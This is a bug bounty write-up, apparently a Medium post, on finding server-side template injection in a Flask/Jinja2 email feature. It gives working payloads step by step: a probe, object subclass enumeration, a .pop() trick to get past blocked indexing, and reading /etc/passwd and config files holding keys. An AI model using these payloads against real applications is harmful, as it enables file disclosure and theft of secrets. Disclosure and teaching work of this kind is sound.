RCE with Flask Jinja Template Injection

AkShAy KaTkAr
Sep 17 · 4 min read

I got invite for private program on bugcrowd. Program do not have huge scope , just a single app with lots of features to test. I usually likes this kind of programs as I am not that good with recon .

First thought , Lets Find out what technology a website is built with. I use wappalyzer for that. They were using Angular dart , python Django & flask .

+.Being a Python developer for last few years , I know where commonly developer makes mistakes .

There were one utility named work flow builder . which use to build a financial close process flow. You can automate daily activities with it like sending approval & sending reminder emails. Sending emails functionality caught my attention because most of times this email generator apps are vulnerable to template injection. As this website built with python , i was quite sure that they must be using Jinja2 template.

Send email function have 3 fields . To , title & description . I set {{7*7}} as title & description & click on send email button . I got email as “49” as subject & {{7*7}} as description . So the subject field was vulnerable for template injection.

Payload : {{7*7}}

Payload {{7*7}}

basically what this doing is evaluating python code inside curly brackets . I tried another payload to get list of sub classes of object class.

Payload : {{ [].__class__.__base__.__subclasses__() }}

I got email containing list of sub classes of object class. like below

Payload : {{ [].__class__.__base__.__subclasses__() }}

Let me explain you this payload ,

If you are familiar with python , You may know we can create list by using “[]” . You can try this things in python interpreter .

  1. Access class of list
>>> [].__class__
<type 'list'> #return class of list

2. Access base class of list .

>>> [].__class__.__base__
<type 'object'> #return base class of list

List is sub class of “object” class.

3.Access sub classes of object class .

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>.....

So our payload gives us a list of all sub classes “object” class.

I reported this issue as it is , hoping I don’t have to go further to prove it’s significant impact. bugcrowd triager reply me with this

Ok , so now I have to provide POC to prove impact of this issue to mark it as P1.

Most of django apps have config file which contains really sensitive info like AWS keys , API’s & encryption keys. I have path of that config file from my previous findings. So i decided to read that file .

To read file in python you have to create object of “file”. We already have list of all sub classes of “Object class”.

Lets find index of file class

>>> [].__class__.__base__.__subclasses__().index(file)
40 #return index of "file" object

When you run “[].__class__.__base__.__subclasses__().index(file)” this payload in python interpreter you will get index of “file” object.

I tried same payload but it gives me nothing , something is wrong . I tried to access other objects but its giving similar error , not returning any value.

Next , I decided to directly access file object as we know index of file object in “Object ” sub classes list is “40".

So I tried this payload {{[].__class__.__base__.__subclasses__()[40] }}

but got no success, this payload also returning similar result as above image. Payload is breaking somewhere , but not able to find where.

After some research , I got on conclusion that may be indexing is block or breaking my payload.

If you know little bit of python you may know there are multiple methods to return value in list , one of method is using “pop” function .

>>> [1,2,3,4,5].pop(2)
3

Above code returning third value of list & removing it from that list. So now my new payload is

{{[].__class__.__base__.__subclasses__().pop(40) }}

Above payload gives me object of “file” .

Ok, So now I have object of “file” , I can read any file on server . Let’s read “etc/passwd” file .

Payload : {{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}.

etc/passwd output in email subject

Finally , I was able to read files on server. I also able to read local files on the GCE instance responsible for sending notifications, including some source code, and configuration files containing very sensitive values (e.g. API and encryption keys).

Thanks for reading, If you like this article please share. You are free to ask any questions , Just DM me on akshukatkar .

— — Morningstar

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade